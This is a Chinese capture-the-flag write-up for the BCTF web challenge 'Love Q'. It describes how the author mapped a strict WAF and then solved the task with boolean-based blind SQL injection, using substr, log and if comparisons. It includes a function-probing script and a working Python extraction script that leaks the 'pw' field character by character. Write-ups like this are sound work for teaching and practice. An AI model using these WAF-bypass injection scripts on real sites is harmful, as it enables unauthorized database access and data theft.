前言
BCTF 的 Web 题 —— Love Q,其实是 N1CTF 的 77777 和 77777 2 的后续,当时脚本出了问题,事后看着师傅们的 writeup 进行了修改,然后过了(lll¬ω¬) 真是悲伤的故事
简介
网站有三种状态:
被 waf 拦截的状态:
sorry - sql 语句执行失败:
正常 - sql 语句执行成功:
waf 绕过
这道题相较前两道题目而言,waf 更加严格,手动测一下,发现数字仅有 2
,9
可以使用,字母滤过了 j
和 J
, 然后过滤了非常多的 mysql 函数,可以写个简单的脚本测试一下可以使用的函数
import requests
url = "http://e827c6acaa71483e8c534305d1f0f6dc88fcbce09a294ce2.game.ichunqiu.com/"
a = ["substr", "concat", "as", "from", "ascii", "sleep", "conv" , "benchmark", "hex", "bin", "+", "pw", "-", "round", "cos", "sin", "log", "tan", "exp", "floor", "left", "right", "ceiling", "mod", "MOD", "SQRT", "sign", 'rand', "length"]
def one_test(item):
payload = "flag=1000000&hi=" + item
headers = {
'Content-Type': "application/x-www-form-urlencoded",
}
response = requests.request("POST", url, data=payload, headers=headers)
if 'hacker' not in response.text:
print item
def main():
for item in a:
one_test(item)
main()
最后发现只有 substr
\from
\conv
\hex
\pw
\log
\SQRT
\sign
能用。
手动测试发现 if
\(
\)
\>
\<
等还可以使用。所以可以尝试用仅限的这些构造 payload
思路
由于 My Points
是不可见的,杜绝了直接通过回显猜结果的可能性,然后就只能盲注。时间型盲注无法成功,因为所有相关的函数都被 waf 过滤了,相应的只能使用布尔型盲注。
通过 >(if(bool, 'a', 9))
我们可以通过是否报错的方式得到回显,所以我们可以通过修改 bool
对应的语句来猜测 flag 的内容
这里有一个是我是我用 log(x, x)
来生成待猜测的数字,在所需数字较小的时候,mysql 返回的是正常的值,但当数字大到一定程度,比如说 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
的时候,mysql 会炸/(ㄒoㄒ)/~~
所以可以用 log(x, x)
来生成数字来取字符的第几位,具体的字符还是需要通过直接比较字符判断得出
之前以为的问题是怀疑字符被过滤,后来发现只是过滤了 j
和 J
而已,被当时的自己蠢到了(lll¬ω¬)
payload
import requests
dict = {1: 'log(2, 2)', 2: '2'}
url = "http://8fe3cd29f5e647ea92b5f0bd76055352aaad0730233b4179.game.ichunqiu.com/"
def generate(i):
if i in dict.keys():
return dict[i]
num = str(9**i)
ret = ''
if num[0] == 1:
ret = 'log(2%2C ' + '2' * len(num) + ')'
else:
ret = 'log(9%2C ' + '9' * len(num) + ')'
dict[i] = ret
return ret
def check_url(index, cond):
payload = "flag=10&hi=%3E(if(substr(pw%2C%20"+generate(index)+"%2C%20log(2%2C%202))" + cond +"%2C%20'a'%2C%209))"
headers = {
'Content-Type': "application/x-www-form-urlencoded",
}
response = requests.request("POST", url, data=payload, headers=headers)
if 'sorry' in response.text:
return True
else:
return False
def check(i):
print i
for j in range(97, 128):
if chr(j) == 'j':
continue
cond1 = "%3E'" + chr(j) + "'"
cond2 = "%3C'" + chr(j) + "'"
if not check_url(i, cond1) and not check_url(i, cond2):
return chr(j)
def main():
flag = ""
for i in range(1, 33):
ans = check(i)
if ans != None:
flag += ans
print flag
else:
break
main()
And…
后来看到其他师傅的 writeup 的时候,发现了一个非常神奇的现象,就是在 select 语句中的 *
和 -
是可用的,看来 waf 其实比我想象的稍微宽松一点点